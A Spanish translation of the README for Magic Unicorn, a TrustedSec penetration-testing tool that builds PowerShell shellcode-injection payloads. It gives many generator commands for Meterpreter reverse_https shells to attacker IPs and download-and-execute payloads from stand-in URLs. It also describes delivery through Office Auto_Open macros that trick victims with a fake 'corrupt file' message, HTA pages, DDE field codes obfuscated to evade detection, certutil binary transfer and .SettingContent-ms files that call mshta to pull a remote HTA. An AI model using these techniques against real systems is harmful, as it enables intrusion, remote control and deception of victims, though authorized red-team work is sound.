
Unicorn es una herramienta simple para utilizar un ataque de degradación de PowerShell e inyectar shellcode directamente en memoria. Basado en los ataques PowerShell de Matthew Graeber y la técnica de omisión de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
Escrito por: Dave Kennedy (@HackingDave) Sitio web: https://www.trustedsec.com
Magic Unicorn es una herramienta sencilla para utilizar un ataque de downgrade de PowerShell e inyectar shellcode directamente en memoria. Basado en los ataques de PowerShell de Matthew Graeber y la técnica de bypass de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
El uso es simple, solo ejecuta Magic Unicorn (asegúrate de que Metasploit esté instalado si usas métodos de Metasploit y en la ruta correcta) y magic unicorn generará automáticamente un comando de PowerShell que solo necesitas copiar y pegar el código de PowerShell en una ventana de línea de comandos o a través de un sistema de entrega de payloads. Unicorn soporta tu propio shellcode, Cobalt Strike y Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Ataques de inyección nativa x86 de PowerShell en cualquier plataforma Windows.
Escrito por: Dave Kennedy en TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Créditos: Matthew Graeber, Justin Elze, Chris Gates
Felices Unicornios Mágicos.
Uso: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
Ejemplo PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Ejemplo Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Ejemplo Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Ejemplo Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Ejemplo HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Ejemplo HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Ejemplo HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Ejemplo DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Ejemplo CRT: python unicorn.py <path_to_payload/exe_encode> crt
Ejemplo PS1 Personalizado: python unicorn.py <path to ps1 file>
Ejemplo PS1 Personalizado: python unicorn.py <path to ps1 file> macro 500
Ejemplo Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (exportar CS en formato C#)
Shellcode Personalizado: python unicorn.py <path_to_shellcode.txt> shellcode (formateado 0x00)
Menú de Ayuda: python unicorn.py --help
Ahora todo se genera en dos archivos, powershell_attack.txt y unicorn.rc. El archivo de texto contiene todo el código necesario para inyectar el ataque de PowerShell en memoria. Ten en cuenta que necesitarás un lugar que soporte inyección remota de comandos de algún tipo. A menudo esto podría ser a través de un documento de excel/word o mediante comandos psexec dentro de Metasploit, SQLi, etc. Hay tantas implicaciones y escenarios donde puedes usar este ataque. Simplemente pega el comando powershell_attack.txt en cualquier ventana de símbolo del sistema o donde tengas la capacidad de llamar al ejecutable de PowerShell y te devolverá una shell. Este ataque también soporta windows/download_exec como método de payload en lugar de solo payloads de Meterpreter. Al usar download y exec, simplemente escribe python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe y el código de PowerShell descargará el payload y lo ejecutará.
Ten en cuenta que necesitarás tener un listener habilitado para capturar el ataque.
Para el ataque macro, deberás ir a Archivo, Propiedades, Cintas de opciones y seleccionar Desarrollador. Una vez que hagas eso, tendrás una pestaña de Desarrollador. Crea una nueva macro, llámala Auto_Open y pega el código generado allí. Esto se ejecutará automáticamente. Ten en cuenta que aparecerá un mensaje al usuario indicando que el archivo está corrupto y se cerrará automáticamente el documento de Excel. ¡ESTO ES COMPORTAMIENTO NORMAL! Esto engaña a la víctima haciéndole pensar que el documento de Excel está corrupto. Deberías obtener una shell a través de la inyección de PowerShell después de eso.
Si estás implementando esto contra versiones de Office365/2016+ de Word, necesitas modificar la primera línea de la salida de: Sub Auto_Open()
A: Sub AutoOpen()
El nombre de la macro en sí también debe ser "AutoOpen" en lugar del nombre heredado "Auto_Open".
NOTA: AL COPIAR Y PEGAR EN EXCEL, SI SE AGREGAN ESPACIOS ADICIONALES, DEBES ELIMINARLOS DESPUÉS DE CADA UNA DE LAS SECCIONES DE CÓDIGO DE POWERSHELL BAJO LA VARIABLE "x" O SE PRODUCIRÁ UN ERROR DE SINTAXIS.
El ataque HTA generará automáticamente dos archivos, el primero index.html que le dice al navegador que use Launcher.hta que contiene el código malicioso de inyección de PowerShell. Todos los archivos se exportan a la carpeta hta_access/ y habrá tres archivos principales. El primero es index.html, el segundo Launcher.hta y el último, el archivo unicorn.rc. Puedes ejecutar msfconsole -r unicorn.rc para lanzar el listener de Metasploit.
Un usuario debe hacer clic en permitir y aceptar al usar el ataque HTA para que la inyección de PowerShell funcione correctamente.
El vector de ataque certutil fue identificado por Matthew Graeber (@mattifestation) que te permite tomar un archivo binario, convertirlo a formato base64 y usar certutil en la máquina víctima para convertirlo nuevamente a binario. Esto debería funcionar en prácticamente cualquier sistema y te permitirá transferir un binario a la máquina víctima a través de un archivo de certificado falso. Para usar este ataque, simplemente coloca un ejecutable en la ruta de unicorn y ejecuta python unicorn.py <exe_name> crt para obtener la salida base64. Una vez terminado, ve a la carpeta decode_attack/ que contiene los archivos. El archivo bat es un comando que se puede ejecutar en una máquina Windows para convertirlo nuevamente a binario.
Este método de ataque te permite convertir cualquier archivo de PowerShell (.ps1) en un comando codificado o macro.
Ten en cuenta que si eliges la opción de macro, un archivo ps1 grande puede exceder la cantidad de retornos de carro permitidos por VBA. Puedes cambiar el número de caracteres en cada cadena VBA pasando un número entero como parámetro.
Ejemplos:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
El último usará una cadena de 500 caracteres en lugar de los 380 predeterminados, lo que resultará en menos retornos de carro en VBA.
Este vector de ataque generará la fórmula DDEAUTO para colocar en Word o Excel. El objeto COM DDEInitilize y DDEExecute permiten crear fórmulas directamente dentro de Office, lo que permite obtener ejecución remota de código sin necesidad de macros. Este ataque fue documentado y las instrucciones completas se pueden encontrar en:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Para usar este ataque, ejecuta los siguientes ejemplos:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Una vez generado, se creará un archivo powershell_attack.txt que contiene el código de Office, y el archivo unicorn.rc que es el componente del listener que puede ser llamado por msfconsole -r unicorn.rc para manejar el listener del payload. Además, se exportará un download.ps1 (explicado en la sección posterior).
Para aplicar el payload, como ejemplo (del artículo de sensepost):
Una vez que se abra el documento de Office, deberías recibir una shell a través de la inyección de PowerShell. Ten en cuenta que DDE tiene un límite de tamaño de caracteres y necesitamos usar Invoke-Expression (IEX) como método para descargar.
El ataque DDE intentará descargar download.ps1, que es nuestro ataque de inyección de PowerShell, ya que estamos limitados por restricciones de tamaño. Necesitarás mover download.ps1 a una ubicación accesible por la máquina víctima. Esto significa que debes alojar download.ps1 en un directorio de Apache2 al que tenga acceso.
Puede que notes que algunos de los comandos usan "{ QUOTE" que son formas de ocultar comandos específicos, lo cual está documentado aquí: http://staaldraad.github.io/2017/10/23/msword-field-codes/. En este caso estamos cambiando WindowsPowerShell, powershell.exe y IEX para evitar la detección. También revisa la URL, ya que tiene algunos métodos excelentes para no llamar a DDE en absoluto.
Este método importará directamente el shellcode del Beacon de Cobalt Strike desde Cobalt Strike.
Dentro de Cobalt Strike, exporta la exportación "CS" (C#) de Cobalt Strike y guárdala en un archivo. Por ejemplo, llama al archivo cobalt_strike_file.cs.
El código de exportación se verá algo así:
A continuación, para el uso:
python unicorn.py cobalt_strike_file.cs cs
El argumento cs le dice a Unicorn que deseas usar la funcionalidad de Cobalt Strike. El resto es magia.
Luego simplemente copia el comando de PowerShell a algo donde tengas la capacidad de ejecución remota de comandos.
NOTA: EL ARCHIVO DEBE SER EXPORTADO EN EL FORMATO C# (CS) DENTRO DE COBALT STRIKE PARA ANALIZARLO CORRECTAMENTE.
Hay algunas advertencias con este ataque. Ten en cuenta que el tamaño del payload será un poco más de 14k+ bytes. Eso significa que desde la perspectiva de un argumento de línea de comandos, si copias y pegas, alcanzarás la restricción de tamaño de 8191 caracteres (codificada en cmd.exe). Si estás lanzando directamente desde cmd.exe, esto es un problema, sin embargo, si estás lanzando directamente desde PowerShell u otras aplicaciones normales, esto no es un problema.
Un par de ejemplos aquí, wscript.shell y powershell usan USHORT - 65535 / 2 = 32767 como límite de tamaño:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Para este ataque, si estás lanzando directamente desde powershell, VBSCript (WSCRIPT.SHELL), no hay problemas.
Este método te permitirá insertar tu propio shellcode en el ataque de Unicorn. El código de PowerShell aumentará el tamaño del stack de powershell.exe (a través de VirtualAlloc) y lo inyectará en memoria.
Ten en cuenta que para que esto funcione, tu archivo txt al que apuntas a Unicorn debe estar formateado en el siguiente formato o no funcionará:
0x00,0x00,0x00 y así sucesivamente.
También ten en cuenta que hay restricciones de tamaño. La longitud total del comando de PowerShell no puede exceder el tamaño de 8191. Este es el límite máximo de tamaño de argumento de línea de comandos en Windows.
Uso:
python unicorn.py shellcode_formatted_properly.txt shellcode
Luego simplemente copia el comando de PowerShell a algo donde tengas la capacidad de ejecución remota de comandos.
NOTA: EL ARCHIVO DEBE ESTAR FORMATADO CORRECTAMENTE EN UN FORMATO 0x00,0x00,0x00 SIN NADA MÁS QUE TU SHELLCODE EN EL ARCHIVO TXT.
Hay algunas advertencias con este ataque. Ten en cuenta que si el tamaño de tu payload es grande por naturaleza, no cabrá en cmd.exe. Eso significa que desde la perspectiva de un argumento de línea de comandos, si copias y pegas, alcanzarás la restricción de tamaño de 8191 caracteres (codificada en cmd.exe). Si estás lanzando directamente desde cmd.exe, esto es un problema, sin embargo, si estás lanzando directamente desde PowerShell u otras aplicaciones normales, esto no es un problema.
Un par de ejemplos aquí, wscript.shell y powershell usan USHORT - 65535 / 2 = 32767 como límite de tamaño:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Para este ataque, si estás lanzando directamente desde powershell, VBSCript (WSCRIPT.SHELL), no hay problemas.
Primero, si aún no lo has hecho, dirígete al increíble blog de SpectreOps de Matt Nelson (enigma0x3):
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Este método utiliza un tipo de archivo específico llamado ".SettingContent-ms" que permite tanto cargas directas desde navegadores (abrir + ejecución de comandos) como tipo de extensión mediante incrustación en productos de Office. Este en particular se centrará en la configuración de tipo de extensión para la ejecución de comandos dentro del vector de ataque de PowerShell de Unicorn.
Hay múltiples métodos compatibles con este vector de ataque. Dado que hay un límite de tamaño de caracteres con este ataque, el método de implementación es un HTA.
Para una comprensión detallada sobre cómo weaponizar este ataque, visita:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Los pasos que necesitarás seguir para completar este ataque es generar tu archivo .SettingContent-ms desde un standalone o hta. El método HTA soporta ataques de Metasploit, Cobalt Strike y shellcode directo.
Los cuatro métodos a continuación sobre el uso:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
Ejemplo HTA SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
Ejemplo HTA SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generar .SettingContent-ms: python unicorn.py ms
El primero es un payload de Metasploit, el segundo de Cobalt Strike, el tercero tu propio shellcode y el cuarto solo un archivo .SettingContent-ms en blanco.
Cuando todo esté generado, exportará un archivo llamado Standalone_NoASR.SettingContent-ms ya sea en el directorio raíz predeterminado de Unicorn (si usas la generación de archivo standalone) o en la carpeta hta_attack/. Necesitarás editar el archivo Standalone_NoASR.SettingContent-ms y reemplazar:
REPLACECOOLSTUFFHERE
Con:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
Luego mueve el contenido de hta_attack a /var/www/html.
Una vez que la víctima haga clic en el archivo .SettingContent-ms, se llamará a mshta en la máquina víctima y luego descargará el archivo HTA de Unicorn que tiene las capacidades de ejecución de código.
Agradecimientos especiales y reconocimientos a Matt Nelson por la increíble investigación.
También revisa: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Uso:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms